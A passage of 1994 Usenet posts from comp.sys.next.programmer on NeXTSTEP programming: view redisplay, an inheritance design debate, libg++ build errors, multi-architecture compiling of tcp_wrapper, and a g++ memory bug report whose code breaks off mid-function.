Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: redisplay of custom view Message-ID: <1994Feb16.031640.6130@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2jrcms$4gi@netnews.upenn.edu> Date: Wed, 16 Feb 1994 03:16:40 GMT I think you meant to use [progressView increment] and not the reverse. Your problem is that Display PostScript is "buffering" up your display requests. Try NXPing() to "flush" it. - aMethod { unsigned int i; for (i = 0; i < 1000; i++) { // Do some work... [progressView increment]; NXPing(); } return self; } Also, I recommend testing for auto-display in your increment method: @implementation ProgressView: View - increment { //... fiddle with internal state //... call some PS drawing code // If this view has automatic display, send the display msg. if ([self isAutodisplay] == YES) { [self display]; } return self; } @end Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2jrcms$4gi@netnews.upenn.edu> joe@retina.anatomy.upenn.edu (Joe Panico) writes: > > Hi, > > I'm having trouble understanding when views redisplay with respect > to the function (method) from which thehe display call was made. > Specifically: > > -aMethod { > ...do some stuff > [increment progressView] > } > Here progressView is the progress indicator fully described in > the tutorial on custom palettes, in > /NextLibrary/Documentation/NextDev/DevTools/18_CustomPalete > > @implentation ProgressView: Object > > -increment { > ... fiddle with internal state > ... call some PS drawing code > [self display] > } > @end > > the aMethod call above will work correctly (at least apparently). > > But in: > > -aMethod { > for(i=0;i<1000;i++) { > ... do some work > [increment progressView]; > } > > the progressView display is not updated with each iteration > of the loop (increment method call). Instead, the progressView > indicator does not update until AFTER the method has > been exited. Can someone point me in the right direction, or point > me to the approriate source of information? Thanks. > > Joe Panico > joe@retina.anatomy.upenn.edu >
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb15.165658.490@afs.com> Sender: Michael_Pizolato@afs.com References: <2jio14$3j6@steffi.demon.co.uk> Date: Tue, 15 Feb 1994 16:56:58 GMT Robert Nicholson writes >dave@prim.demon.co.uk (Dave Griffiths) wrote in >comp.lang.objective-c,comp.sys.next.programmer >>It seems to me that creating a heirarchy of inheritance may not >>be such a good idea. In fact it may do more harm than good. >>Inheritance encourages sloppy programming. It's much harder to >>produce a general solution than a particular one. Inheritance >>encourages a quick-fix mentality, rather than improving the super >>class to make it more flexible. [snip] >>If you have n subclasses, each of which adds some functionality >>to the super class, it restricts the user to choose only one of >>those additional bits of functionality. The other n-1 bits have >>to be discarded. If that fucntionality had been placed in the >>super class or in separate classes, then perhaps more interesting >>combinations could be realized. [snip] >>Almost everything that is done by inheritance could be done instead >>using protocols and delegates. (Protocols are a brilliant addition >>to Obj-C. Who at NeXT thought them up?). The forwarding mechanism >>needs to be fixed for non-id return values though. >> >>The only advantage to inheritance I can see is efficiency in >>accessing instance variables. [snip] >No doubt Michael@afs will speak up here. OK, I will. :-) >>Why is inheritance promoted as a Good Thing? It's a problem, not >>a solution. Some of the problems with the Text class derive from >>it's inheritance from View and Responder. [snip] >>Anyone agree, disagree? Anyone like to explain the necessity of >>MenuCell and NXBrowserCell being different classes for example? [snip] As long as you don't consider classes cast in stone, inheritance is the greatest thing since sliced bread. But you have to be willing to change your classes over time. For example, you start designing a subclass, and you find that there is functionality that really belongs in the superclass. If you can't implement the new functionality in a category of the superclass (which is better than modifying the superclass), you should change the superclass. The only problem is backward compatibility, to which I say why must we continue to hold on to the mistakes of the past? (Flame bait? Yes, have some ;-) Every time I modify one of my objects, or design a new one, I look for ways to push functionality toward Object. When I find a way, I change any applicable classes that I have control over. Sometimes I even insert superclasses where there were none before (e.g. A-B & A-C become A-D-B&C), because a new object in parallel to another one calls for commonality to be grouped in the new superclass. Whenever possible, I categorize existing classes that I do not control. When that's not feasible, I modify my classes and categories to suit what I have to do. Over time, the classes change less and less often, because they are moving toward maximum generality and that has a limit. Once in a while, a radical change shakes my class hierarchy down to the very core. Relax. Have a cigar. If you're not willing to change your classes once they are first written, then all the problems Dave talks about will occur. Fearless Leader, however, makes a good case for the kind of class modification I'm talking about here being the foundation for running an entire software business, with even employee ratings and compensation based largely on how much code _doesn't_ get written (high reuse). Reuse is maximized if you push as much functionality toward Object as possible. It works for me, and there's not much reason to do it differently. Flame away... Thanx, Michael P.S. BTW, Dave, I _never_ access instance variables directly, even within the class that declares them. I _always_ use get/set methods. Other code cannot assume the existence of ivars, which are implementation details, subject to change in a data-encapsulated environment. Even subclasses should not assume that their superclass' implementation will not change. For me, that assumption even carries into the class that owns the ivars. If you depend on [someobject average], you should not depend on whether that value is stored in an ivar named average or is calculated on the fly, even in someobject's class. That way, if the implementation changes from an ivar to calculation, the only code that changes is in the 'average' method, even in someobject's class. -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
Newsgroups: comp.sys.next.programmer From: crc0y@napier.urich.edu (coates r carter) Subject: building libg++ Message-ID: <1994Feb15.213327.11625@gossip.urich.edu> Sender: news@gossip.urich.edu (USENET News System Admin) Organization: University of Richmond Date: Tue, 15 Feb 1994 21:33:27 GMT Hopefully someone can help me here. I have recently installed gcc, version 2.5.8, onto an 040 cube. The installation seemed to go ok. I then installed all the libg++ garbage, release 2.5.3. Everything seemed to go ok there, too. Then I tested it with a simple source: // test.cc #include <iostream.h> int main() { cout << "hello\n"; } %g++ test.cc ld: Undefined symbols: _S_ISREG _S_ISCHR % And I'm not sure what the problem is. I do not know where _S_ISREG and _S_ISCHR are supposed to be defined. Does this mean the installation was all for naught, or do I just have to fix something? Thanks in advance, Coates
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: building libg++ Date: 16 Feb 1994 13:35:09 -0000 Organization: me organized? That's a joke! Message-ID: <2jt7ed$25j@steffi.demon.co.uk> References: <1994Feb15.213327.11625@gossip.urich.edu> crc0y@napier.urich.edu (coates r carter) wrote in comp.sys.next.programmer >Hopefully someone can help me here. > >I have recently installed gcc, version 2.5.8, onto an 040 cube. >The installation seemed to go ok. >I then installed all the libg++ garbage, release 2.5.3. >Everything seemed to go ok there, too. >Then I tested it with a simple source: > >// test.cc > #include <iostream.h> >int main() >{ > cout << "hello\n"; >} > >%g++ test.cc >ld: Undefined symbols: >_S_ISREG >_S_ISCHR >% > >And I'm not sure what the problem is. I do not know where _S_ISREG and >_S_ISCHR are supposed to be defined. Does this mean the installation was >all for naught, or do I just have to fix something? > >Thanks in advance, >Coates The problem is that the S_IS* macros are not being recognised. and here's why. 3.1 IMHO: This is comming up often is this group. Can somebody archive this somewhere. #ifdef _POSIX_SOURCE #define S_IRUSR _S_IRUSR /* read permission, owner */ #define S_IRGRP 0000040 /* read permission, group */ #define S_IROTH 0000004 /* read permission, other */ #define S_IWUSR _S_IWUSR /* write permission, owner */ #define S_IWGRP 0000020 /* write permission, group */ #define S_IWOTH 0000002 /* write permission, other */ #define S_IXUSR _S_IXUSR /* execute/search permission, */ /* owner */ #define S_IXGRP 0000010 /* execute/search permission, */ /* group */ #define S_IXOTH 0000001 /* execute/search permission, */ /* other */ #define S_IRWXU 0000700 /* read, write, execute */ /* permissions, owner */ #define S_IRWXG 0000070 /* read, write, execute */ /* permissions, group */ #define S_IRWXO 0000007 /* read, write, execute */ /* permissions, other */ #define S_ISBLK(mode) (((mode) & (_S_IFMT)) == (_S_IFBLK)) #define S_ISCHR(mode) (((mode) & (_S_IFMT)) == (_S_IFCHR)) #define S_ISDIR(mode) (((mode) & (_S_IFMT)) == (_S_IFDIR)) #define S_ISFIFO(mode) (((mode) & (_S_IFMT)) == (_S_IFIFO)) #define S_ISREG(mode) (((mode) & (_S_IFMT)) == (_S_IFREG)) #endif /* _POSIX_SOURCE */ Define this and make it available to the test. /* ismacros.h */ #ifndef _ISMACROS #define S_ISBLK(mode) (((mode) & (S_IFMT)) == (S_IFBLK)) #define S_ISCHR(mode) (((mode) & (S_IFMT)) == (S_IFCHR)) #define S_ISDIR(mode) (((mode) & (S_IFMT)) == (S_IFDIR)) #define S_ISFIFO(mode) (((mode) & (S_IFMT)) == (S_IFIFO)) #define S_ISREG(mode) (((mode) & (S_IFMT)) == (S_IFREG)) #define _ISMACROS #endif -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: jd@cs.strath.ac.uk (John W. Daly) Newsgroups: comp.lang.smalltalk,comp.lang.eiffel,comp.lang.c++,comp.object,comp.lang.clos,comp.databases,comp.lang.objective-c,comp.software-eng,comp.sys.next.programmer Subject: Object Oriented Questionnaire Survey - Thanks Date: 16 Feb 1994 14:03:08 -0000 Organization: Comp. Sci. Dept., Strathclyde Univ., Glasgow, Scotland. Distribution: world Message-ID: <2jt92s$38t@young.cs.strath.ac.uk> Keywords: Object oriented technology, questionnaire survey, maintenance A short while ago I posted a questionnaire survey on object oriented technology. I just like to take the opportunity to thank all those who replied to my article. The number of replies I received was far greater than I anticipated (perhaps there are lots of people crying out for such an evaluation :-) ) and, therefore, will probably take some time to produce some acurate and cohesive conclusions. I promised to post the results as payment for respondees time, and I will do so - hopefully within the not too distant future ;-) Anyway, once again, thanks to all those who replied. John Daly. ----------------------------------------------------------------------- John Daly Email: jd@cs.strath.ac.uk EFoCS Research Group, Phone: +44 (0)41 552 4400, x3256 University of Strathclyde, Glasgow, Scotland.
From: leuschr@NeXTwork.Rose-Hulman.Edu (Rainer Leuschke) Newsgroups: comp.sys.next.programmer Subject: Page Layout Date: 16 Feb 1994 14:24:55 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2jtabn$87f@master.cs.rose-hulman.edu> Dear Internetters, I'm trying to use the NXMeasurementUnits for rulers in one of my views. Well, it's not a problem reading the preference for a particular measurement system from the default database, but I couldn't figure out a *nice* way to read it of the page layout panel yet. Is there a delegate mechanism or something else to get the updated unit preference if I change them on the page layout panel? Cheers rainer -- Rainer Leuschke leuschr@nextwork.rose-hulman.edu __o Box #781, 5500 Wabash Ave, Terre Haute, IN 47803, USA _`\<,_ "Der Dativ ist dem Genitiv sein Tod." (_)/ (_)
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: How do I get the tag of the selected item in a PopUpList? Date: 16 Feb 1994 14:17:09 GMT Organization: New York University Distribution: world Message-ID: <2jt9t5$ndu@cmcl2.NYU.EDU> This must be a FAQ. In spite of the good attempts by the documentation I'm still confused and can't get the tag of a PopUpList which has been connected using the IB. Can anyone help me? Thanks... -- Dario
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: Strange behaviour of IB subviews grouped in a Box Date: 16 Feb 1994 14:22:49 GMT Organization: New York University Distribution: world Message-ID: <2jta7p$nmn@cmcl2.NYU.EDU> I have a number of PopUPLists, Forms, etc, grouped together with a Box. From time to time, when I activate one of the elements within the Box the entire box goes BLACK! It remains functional (if I can remember the location of the buttons!) Does anyone know what the problem is? This is NS 3.0 on a black box. Thanks. -- Dario
From: david.geary@mccaw.com (David Geary) Newsgroups: comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 16 Feb 1994 16:46:07 GMT Organization: McCaw Cellular Communications, Inc. Message-ID: <2jtikf$87c@ftp-p.mccaw.com> References: <1994Feb12.132341.12317@prim.demon.co.uk> Dave Griffiths writes >It seems to me that creating a heirarchy of inheritance may not be such a >good idea. In fact it may do more harm than good. Inheritance encourages >sloppy programming ... Inheritance is simply a tool. How people use the tool is what you have a beef with. > It's much harder to produce a general solution than a >particular one. Absolutely. > Inheritance encourages a quick-fix mentality, rather than >improving the super class to make it more flexible. > Inheritance is the tool which provides the mechanism for having super classes. Whether you choose to 'quick-fix' vs. improve super class functionality is unrelated to the inheritance mechanism. >If you have n subclasses, each of which adds some functionality to the >super class, it restricts the user to choose only one of those additional >bits of functionality. The other n-1 bits have to be discarded. If that >fucntionality had been placed in the super class or in separate classes, then >perhaps more interesting combinations could be realized. I think perhaps you are a closet advocate of fine-grained inheritance. >Why is inheritance promoted as a Good Thing? It's a problem, not a solution. >Some of the problems with the Text class derive from it's inheritance from >View and Responder. An ax to the forhead does not invalidate other uses of the ax. -- // David Geary Seattle: America's most Attractive City ... // david.geary@mccaw.com ... to the _Jetstream_ // NeXTMail OK
Newsgroups: comp.sys.next.programmer From: arrouye@cosmos.imag.fr (Yves Arrouye) Subject: - endPrologue not called: help needed please! Message-ID: <ARROUYE.94Feb16182235@mistral.imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Wed, 16 Feb 1994 17:22:35 GMT Hello, For efficiency reasons, one of my views defines some ps procedures that it uses to draw; I would like to put these procedures in the prologue when my view is printed, but endPrologue seems to be not calles (a breakpoint in it is not reached when I print). Do you have any idea why? My view is printed by having its window called as in [window printPSCode:sender]. The print panel is run, but the endPrologue method in my view is never called. Any help/pointer is welcome, Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: ajl@next1.eqt.ch (Alexander Lamb) Subject: Re: NEXTSTEP Development Tools and Techniques Message-ID: <CLBzBC.1D6@eunet.ch> Keywords: Documentation Sender: usenet@eunet.ch (News Administrator) Organization: EUnet Switzerland References: <2jrl2h$e3m@netnews.upenn.edu> Date: Wed, 16 Feb 1994 18:57:12 GMT In article <2jrl2h$e3m@netnews.upenn.edu> joe@retina.anatomy.upenn.edu (Joe Panico) writes: > > Hi, > > Is the entire contents of "NEXTSTEP Development Tools and Techniques" contained > in the online d(librarian) documentation with NSI 3.2, or is there > more valuable information in the hard-copy. Thanks. > > Joe Panico > joe@retina.anatomy.upenn.edu To my knowledge, YES. You'll actually find more in terms of release notes and examples. If you are going out to by books, check the two developpers books (The Garfinkel one and the Nghiem one). Alexander Lamb Expert Quantitative Trading & Lamb Software Design Geneva Switzerland
From: eric@skatter.USask.Ca (Eric Norum) Newsgroups: comp.sys.next.programmer Subject: Color vs. Black and White printing Date: 16 Feb 1994 16:41:38 GMT Organization: University of Saskatchewan, Saskatoon, Canada Distribution: world Message-ID: <2jtic2$dn6@tribune.usask.ca> I have put together a couple of applications that acquire data from digitizer systems and display the results on our NeXTstation color machines. I have added the ability to print the displays, but while this looks fine on our NeXT color printer, it looks ugly on our black and white laser printers. (The gray scales come out looking like dotted lines....) Is there something I can add to the PostScript I generate for printing that will do something like the following pseudo-code: change_color_to (color) { if (this_is_a_monochrome_device) { if (color_is_white) set color to white else set color to black } else { set color to desired value } } I've looked through the `Red Book' and can't seem to see anything there that will do what I want. -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb15.201253.2077@afs.com> Sender: Michael_Pizolato@afs.com References: <2jj4fp$178@news.cs.tu-berlin.de> Date: Tue, 15 Feb 1994 20:12:53 GMT Marcel Weiher writes [snip] >On the other hand, use inheritance if you want to create a >_specialization_ of the class at hand. [snip] Could you elaborate on that? I try (and often fail ;-) to follow a rule (it's named after somebody but I forget who) that says subclasses should never restrict the behavior of their superclasses. That is, users of a subclass should _always_ be able to treat instances of the subclass as if they were instances of the superclass, because they _are_ instances of the superclass. All the superclass' behavior should be available in the subclass, with no limitations. For example (using some NeXT classes), if I have code that deals with Views, then the Control class had better not interfere with what I can do with a View. When I get a Control, I don't care that it's a Control, I just want to act on it like it's a View. If Control's implementation prevents me from doing that, then Control is badly implemented. Thoughts? Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
From: dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object Subject: Re: Is inheritance a good idea? Date: 16 Feb 1994 18:22:16 GMT Organization: Supercomputer Computations Research Institute Message-ID: <2jto8o$qn4@mailer.fsu.edu> References: <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> <CLA0GH.8CA@odin.corp.sgi.com> tmh@darla.asd.sgi.com (Todd Hoff) writes: >[...] >Programs however cannot fail. Software cannot die. Programs must be >predictable, they must be right. For most interesting problems, an optimal solution would require the world's combined computational resources many millions of years to find 'right'(optimal) solutions. >Partial answers or "good enough" solutions >are not generally acceptable. Again, few of us would accept that a deposit >did not show up in our bank account because the interface between software >generations was a little off, or a preditor evolved that feeds on deposits, >or a software ecology died because of a natural disaster, parasites, >resource starvation, or for any other reason. Just because our algorithms are currently too simple to tackle anything but the simplest and most mundane of problems(record keeping), it doesn't mean that genetic algorithms and other less conventional algorithms will not be appropriate for other more difficult problems. (Like controlling a robot that mows your lawn, or an algorithm that designs computer chips or protiens, or teaches children to read, etc) Steve Dekorte
From: will@solstice.jpl.nasa.gov (Will Duquette) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object Subject: Re: Is inheritance a good idea? Date: 16 Feb 1994 20:59:59 GMT Organization: Jet Propulsion Laboratory, Pasadena CA, USA Message-ID: <2ju1gf$e6h@solstice.jpl.nasa.gov> References: <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> <CLA0GH.8CA@odin.corp.sgi.com> <2jto8o$qn4@mailer.fsu.edu> In article <2jto8o$qn4@mailer.fsu.edu> dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte) writes: > >Programs however cannot fail. Software cannot die. Programs must be > >predictable, they must be right. > > For most interesting problems, an optimal solution would require the > world's combined computational resources many millions of years to find > 'right'(optimal) solutions. I suspect you're talking about two different kinds of "right". In software, the "right" behaviour is what you intended the program to do. A program that finds an approximate answer to the Traveling Salesman Problem isn't wrong, if an approximate answer is what you wanted. A program that crashes, or implements the approximation algorithm incorrectly and thus gets weird answers (or bad but plausible answer), however, is definitely wrong. Will Duquette | C Functions, Simscript Processes, but will@solstice.jpl.nasa.gov | OPS5 Rules.
From: griffid@gb.swissbank.com (Dave Griffiths) Newsgroups: comp.sys.next.programmer Subject: Avoiding drawSelf in subview of ScrollView? Date: 16 Feb 1994 10:55:19 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2jsu2n$sf4@gpo.gb.swissbank.com> Is there any way to configure either ScrollView or it's document view to avoid calling drawSelf (via display::) when scrolling? Is it possible to say to the document view "draw the whole of yourself", and then have the ScrollView just copy the resulting bits up and down? Or for the document view not to re-draw parts it has already drawn? The problem is that DBTableView is very slow. It seems a waste of time to keep redrawing the cells all the time. If the underlying data has changed, _then_ the document view can be marked as dirty and redrawn. Any suggestions? Dave Griffiths PS: Hmmm... it would be nice to divide display into foreground and background threads. Most of the time when you're looking at a ScrollView, you're not actually scrolling. This time could be used by a background thread to image the hidden parts of the document so they're ready for immediate display when required. At the moment, the instance a user performs the scroll action, the system is expected to respond. We need to make more use of the time when our 60 MHz Pentiums are sitting idle.
Newsgroups: comp.sys.next.programmer From: cordero@bronze.ucs.indiana.edu ( Manuel Cordero ) Subject: Box with colored background Message-ID: <CLCADn.E74@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University, Bloomington IN Distribution: usa Date: Wed, 16 Feb 1994 22:56:10 GMT I know I can write a subclass of box to get what I need, but I thought I'd ask first to see if someone else already has done this and is willing to share.... All I want is a box which I can change the background color of. I prefer to be able to use any color, but would be satisfied with different shades of gray. Any help would be greatly appreciated! cordero@bronze.ucs.indiana.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 16 Feb 1994 22:57:36 -0000 Organization: me organized? That's a joke! Message-ID: <2ju8d0$28t@steffi.demon.co.uk> References: <2jj4fp$178@news.cs.tu-berlin.de> <1994Feb15.201253.2077@afs.com> Michael_Pizolato@afs.com wrote in comp.sys.next.programmer >Marcel Weiher writes >[snip] >>On the other hand, use inheritance if you want to create a >>_specialization_ of the class at hand. >[snip] > >Could you elaborate on that? I try (and often fail ;-) to follow >a rule (it's named after somebody but I forget who) that says >subclasses should never restrict the behavior of their superclasses. >That is, users of a subclass should _always_ be able to treat >instances of the subclass as if they were instances of the superclass, >because they _are_ instances of the superclass. All the superclass' >behavior should be available in the subclass, with no limitations. There are two principles. Extension and Specialization. (These are implementation independent, read: you won't see the word "category" :-) ) Extension is adding functionality to an existing class thru subclassing, whilst keeping it's old "public interface". Specialization is overriding a method/s to perform more specific behaviour. ie. View subclasses overriding drawself. (eg. Shape.) Specialization is the foundation of polymorphism. ie. the method must be found in at least the declared type. where as the runtime type is more likely going to be a decendent of the declared type. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: nika!ken@uunet.UU.NET (Ken Pelletier) Newsgroups: comp.sys.next.programmer Subject: Re:DCE on NeXT? Date: 16 Feb 1994 18:19:23 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402170014.AA02613@nika> > I am looking for a DCE (Distributed Computing Enviroment) > port to the NeXT platform. Who knows something? >> You may want to check with Transarc. They are the technology >> provider to OSF for DCE. They probably will not be porting to >> NeXTSTEP until OpenStep is a reality. Give them a call: Two points: 1) Transarc is not the provider of DCE per se. DCE includes a distributed filesystem component, called DFS, which is based on Transarc's version of the Andrew File System from CMU. DCE also includes a distributed name service (CDS, X.500), RPC (based on Apollo NCS), multi-threaded programming support, a distriuted time service (DTS), and a security service based on Kerberos. 2) As far as I know, there is no NS port of DCE today. I have been interested in finding out the details behind NeXT's references to future support of DCE and DME in their literature (see the PDO white paper, for example). I used to work at OSF, and did a bit of asking around on this subject, but found no one who knew of any activity with NeXT. (not that that's conclusive of anything) NeXT's relationship with HP might bear fruit in this area, however, since HP is an OSF member, a DCE technology provider, and strongly supports DCE. - Ken Ken Pelletier ken@nika.com NiKA Software, Inc Chicago, IL
From: sears@uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.programmer Subject: Compiling MABS Date: 17 Feb 1994 00:23:53 GMT Organization: University of Houston Message-ID: <2judep$m1i@menudo.uh.edu> Okay.. It is easy to compile MABs with ProjectBuilder, but how about from the command line? I tried using the switches -arch m68k -arch i386 but I got the following error with the linker: cc -arch m68k -arch i386 -O -DFACILITY=LOG_AUTH -DHOSTS_ACCESS -DNETGROUP -DGETPEERNAME_BUG -DBROKEN_FGETS -DALWAYS_RFC931 -DDAEMON_UMASK=022 -DREAL_MISCD=\"/usr/etc/miscd\" -DREAL_DAEMON_DIR=\"/usr/etc\" -DPROCESS_OPTIONS -DSEVERITY=LOG_INFO -DRFC931_TIMEOUT=10 -DHOSTS_DENY=\"/etc/hosts.deny\" -DHOSTS_ALLOW=\"/etc/hosts.allow\" -c tcpd.c cc -arch m68k -arch i386 -O -DFACILITY=LOG_AUTH -DHOSTS_ACCESS -DNETGROUP -DGETPEERNAME_BUG -DBROKEN_FGETS -DALWAYS_RFC931 -DDAEMON_UMASK=022 -DREAL_MISCD=\"/usr/etc/miscd\" -DREAL_DAEMON_DIR=\"/usr/etc\" -DPROCESS_OPTIONS -DSEVERITY=LOG_INFO -DRFC931_TIMEOUT=10 -DHOSTS_DENY=\"/etc/hosts.deny\" -DHOSTS_ALLOW=\"/etc/hosts.allow\" -DTEST -o try-from try-from.c fakelog.o libwrap.a -m ld: for architecture m68k ld: warning multiple definitions of symbol _syslog fakelog.o definition of _syslog in section (__TEXT,__text) /lib/libsys_s.a(syslog.o) definition of absolute _syslog (value 0x5003122) ld: warning multiple definitions of symbol _openlog fakelog.o definition of _openlog in section (__TEXT,__text) /lib/libsys_s.a(syslog.o) definition of absolute _openlog (value 0x5002bd0) ld: warning multiple definitions of symbol _closelog fakelog.o definition of _closelog in section (__TEXT,__text) /lib/libsys_s.a(syslog.o) definition of absolute _closelog (value 0x50022a6) ld: for architecture i386 ld: warning fakelog.o cputype (6, architecture m68k) does not match cputype (7) for specified -arch flag: i386 (file not loaded) Btw, this for tcp_wrapper6.1 in case you are interested. I am not sure what is going on. And come to think of it, I have yet to sucessfully compile a MAB from the command line. What is the magic switch or option that I am missing that I need to add to the makefiles???? -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer,comp.object From: tmh@darla.asd.sgi.com (Todd Hoff) Subject: Re: Is inheritance a good idea? Message-ID: <CLC5z3.G8p@odin.corp.sgi.com> Sender: news@odin.corp.sgi.com (Net News) Organization: Silicon Graphics, Inc. References: <2jio14$3j6@steffi.demon.co.uk> <1994Feb15.002618.13990@prim.demon.co.uk> <CLA0GH.8CA@odin.corp.sgi.com> <2jto8o$qn4@mailer.fsu.edu> Date: Wed, 16 Feb 1994 21:21:02 GMT In article <2jto8o$qn4@mailer.fsu.edu>, dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte) writes: |> tmh@darla.asd.sgi.com (Todd Hoff) writes: |> For most interesting problems, an optimal solution would require the |> world's combined computational resources many millions of years to find |> 'right'(optimal) solutions. |> First, in the Real World (tm, Thanx Dad) what's interesting is defined by a customer who pays money. Right is defined by a customer and a producer through a process called negotiation. Most people recognize optimality as a goal, not a requirement. |> Just because our algorithms are currently too simple to tackle anything |> but the simplest and most mundane of problems(record keeping), it |> doesn't |> mean that genetic algorithms and other less conventional algorithms |> will not be appropriate for other more difficult problems. (Like |> controlling |> a robot that mows your lawn, or an algorithm that designs computer chips |> or |> protiens, or teaches children to read, etc) |> |> Steve Dekorte |> So you won't mind when your non-simple lawn mower shaves someone's prize rose bush or slices and dices a little baby or exhibits one of a million other failure modes? Humans go through the longest training period of any other species, yet every society has institutions (police & courts) to handle improperly behaving humans. Human created systems are not supposed to fail regardless of the algorithms used or the complexity involved. -- Todd Hoff
From: steve@fisher.bio.uci.edu (Steve Frank) Newsgroups: comp.sys.next.programmer Subject: Bug in GNU CC (g++) specific to NeXT? Date: 17 Feb 1994 01:20:08 GMT Organization: University of California, Irvine Message-ID: <2jugo8$rbp@news.service.uci.edu> Here is a copy of a bug report I sent to NeXT. I don't expect to hear from them. I realize that "compiler bugs" are usually bugs in the program, but I have identified the overwriting of data by the nxmalloc routines. This does not occur on a SPARC system. The bug also occurs in gcc 2.5.8. So, if anyone wants a nice puzzle to solve... Description: These files, when compiled with: cc -Wall -g -o test Group.cc test.cc lead to a crash. The problem does not occur with gcc on a SPARC system. The crash occurs when data are overwritten by the destructor of an object, where the changed data occur in a different object. This overwriting occurs in the nxmalloc routines. //*************** /* $Id: Group.h,v 1.1 1994/02/16 02:58:54 steve Exp $ */ #ifndef _Group_h #ifdef __GNUG__ #pragma interface #endif #define _Group_h 1 #include <stdio.h> //#define fprintf(x,y); // Problem is not from using printf statements class Group; typedef Group* GroupPtr; typedef GroupPtr* GroupArray; // ADD REFERENCE COUNT TO SELF TO TRACK FOR GARBAGE COLLECTION // FOR NOW, DELETE ALL MEMBERS OF ARRAY WHEN CONTAINER DELETED class Group { public: Group(int=0); virtual ~Group(); const GroupPtr operator[](int i) {return (i < size) ? data[i] : 0;} const GroupPtr getMember(int i) {return (i < size) ? data[i] : 0;} float getFitness() {return fitness;} int getSize() {return size;} virtual float setFitness(float x) = 0; virtual void mutate() {} void addToMax(int); void addToArray(GroupPtr); int setMember(int, GroupPtr); int deleteMember(int); // number of references to this object; keep for garbage collection int getRef() {return ref;} void refDown() {if (--ref == 0) delete this;} int refUp() {return ++ref;} protected: int size; int max; GroupArray data; float character; float fitness; float memberCumlFit; // cumulative fitness of members int ref; }; inline Group::Group(int maxInit) { data = (max = maxInit) ? new GroupPtr[maxInit] : 0; size = 0; } inline Group::~Group() { if (data){ GroupArray d = data; for (int i = 0; i < size; i++) d++->refDown(); delete [] data; } fprintf(stderr, "Destructing Group\n"); } void Group::addToMax(int n) // increases max { GroupArray newData = new GroupPtr[max+=n]; for (int i = 0; i < size; i++) newData[i] = data[i]; // increase efficiency with pointers if (data) delete [] data; data = newData; } inline void Group::addToArray(GroupPtr g) { if (size >= max){ fprintf(stderr, "Warning: resize data in Group, use setMax()\n"); this->addToMax(5); } data[size++] = g; g->refUp(); } int Group::setMember(int i, GroupPtr g) { if (i >= size) return 0; data[i]->refDown(); data[i] = g; return g->refUp(); } int Group::deleteMember(int i) { if (i >= size) return 0; data[i]->refDown(); data[i] = data[--size]; return 1; } #endif //**************** /* $Id: Group.cc,v 1.1 1994/02/16 02:58:52 steve Exp $ */ #ifdef __GNUG__ #pragma implementation #endif #include "Group.h" //******************* // test.cc /* $Id*/ #ifdef __GNUG__ #pragma implementation #endif #include "Group.h" #include <stdio.h> class Population : public Group { public: Population(int=0); ~Population() {fprintf(stderr, "Destructing Population\n");} float setFitness(float); }; class Patch : public Group { public: Patch(int=0); ~Patch() {fprintf(stderr, "Destructing Patch\n");} float setFitness(float); }; class Individual : public Group { public: Individual(int=0); ~Individual() {fprintf(stderr, "Destructing Individual\n");} float setFitness(float); }; Population::Population(int max) : Group(max) {} Patch::Patch(int max) : Group(max) {} Individual::Individual(int max) : Group(max) {} float Population::setFitness(float x) { x = 0.0; int k = this->getSize(); for (int i = 0; i < k; i++) x += this->getMember(i)->getFitness(); return (fitness=x); } float Patch::setFitness(float x) { x = 0.0; int k = this->getSize(); for (int i = 0; i < 